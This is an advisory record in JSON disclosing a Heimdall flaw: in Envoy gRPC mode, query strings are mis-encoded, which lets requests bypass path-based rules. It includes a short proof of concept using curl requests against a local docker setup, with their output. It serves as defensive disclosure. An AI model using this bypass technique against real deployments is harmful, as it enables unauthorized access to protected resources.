{"id":"GHSA-r8x2-fhmf-6mxp","summary":"Heimdall: Path received via Envoy gRPC corrupted when containing query string","details":"### Summary\nWhen using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.\n\nThe HTTP based decision API is NOT affected, and proxy mode is NOT affected either.\n\n**Note:** The issue can only lead to unintended access if heimdall is configured with an \"allow all\" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via `--insecure-skip-secure-default-rule-enforcement` or the broader `--insecure` flag.\n\n### Details\nEnvoy splits the requested URL into parts, and sends the parts individually to heimdall. Although `query` and `path` are present in the API, the `query` field is documented to be always empty and the URL query is included in the `path` field [1].\n\nThe implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path. \n\n https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115\n\nAs a consequence, a parameter like `/mypath?foo=bar` to `Path`  is escaped into  `/mypath%3Ffoo=bar`. Subsequently, a rule matching `/mypath` no longer matches and is bypassed.\n\n\n### PoC\n\nUsing the example docker compose setup, the `demo:public` rule is bypassed when adding a query parameter.\n\n\u003e docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up\n\n```\ncurl http://127.0.0.1:9090/public\nHostname: 80201fead1c7\nIP: 127.0.0.1\nIP: ::1\nIP: 172.23.0.3\nRemoteAddr: 172.23.0.5:37056\nGET /public HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: curl/8.19.0\nAccept: */*\nX-Envoy-Expected-Rq-Timeout-Ms: 15000\nX-Forwarded-Proto: http\nX-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5\n\ncurl -v http://127.0.0.1:9090/public?bypass\n*   Trying 127.0.0.1:9090...\n* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 \n* using HTTP/1.x\n\u003e GET /public?hallo HTTP/1.1\n\u003e Host: 127.0.0.1:9090\n\u003e User-Agent: curl/8.19.0\n\u003e Accept: */*\n\u003e \n* Request completely sent off\n\u003c HTTP/1.1 401 Unauthorized\n\u003c date: Sat, 14 Mar 2026 16:34:17 GMT\n\u003c server: envoy\n\u003c content-length: 0\n\u003c \n* Connection #0 to host 127.0.0.1:9090 left intact\n```\n\nWhen using the HTTP decision API variant, the second request is matched by the rule as well:\n\n\u003e docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up\n\n```\ncurl http://127.0.0.1:9090/public?bypass\nHostname: 80201fead1c7\nIP: 127.0.0.1\nIP: ::1\nIP: 172.23.0.4\nRemoteAddr: 172.23.0.2:38044\nGET /public?hallo HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: curl/8.19.0\nAccept: */*\nX-Envoy-Expected-Rq-Timeout-Ms: 15000\nX-Forwarded-Proto: http\nX-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2\n```\n\n### Impact\n\nEveryone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.\n\n[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147","aliases":["CVE-2026-32811","GO-2026-4742"],"modified":"2026-04-27T15:22:43Z","published":"2026-03-18T13:00:56Z","database_specific":{"nvd_published_at":"2026-03-20T02:16:34Z","cwe_ids":["CWE-116","CWE-863"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-18T13:00:56Z"},"references":[{"type":"WEB","url":"https://github.com/dadrus/heimdall/security/advisories/GHSA-r8x2-fhmf-6mxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32811"},{"type":"WEB","url":"https://github.com/dadrus/heimdall/pull/3106"},{"type":"WEB","url":"https://github.com/dadrus/heimdall/commit/50321b3007db1ccafdc6b1cfd6bdc3689c19a502"},{"type":"PACKAGE","url":"https://github.com/dadrus/heimdall"},{"type":"WEB","url":"https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147"}],"affected":[{"package":{"name":"github.com/dadrus/heimdall","ecosystem":"Go","purl":"pkg:golang/github.com/dadrus/heimdall"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.7.0-alpha"},{"fixed":"0.17.11"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.17.10","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-r8x2-fhmf-6mxp/GHSA-r8x2-fhmf-6mxp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}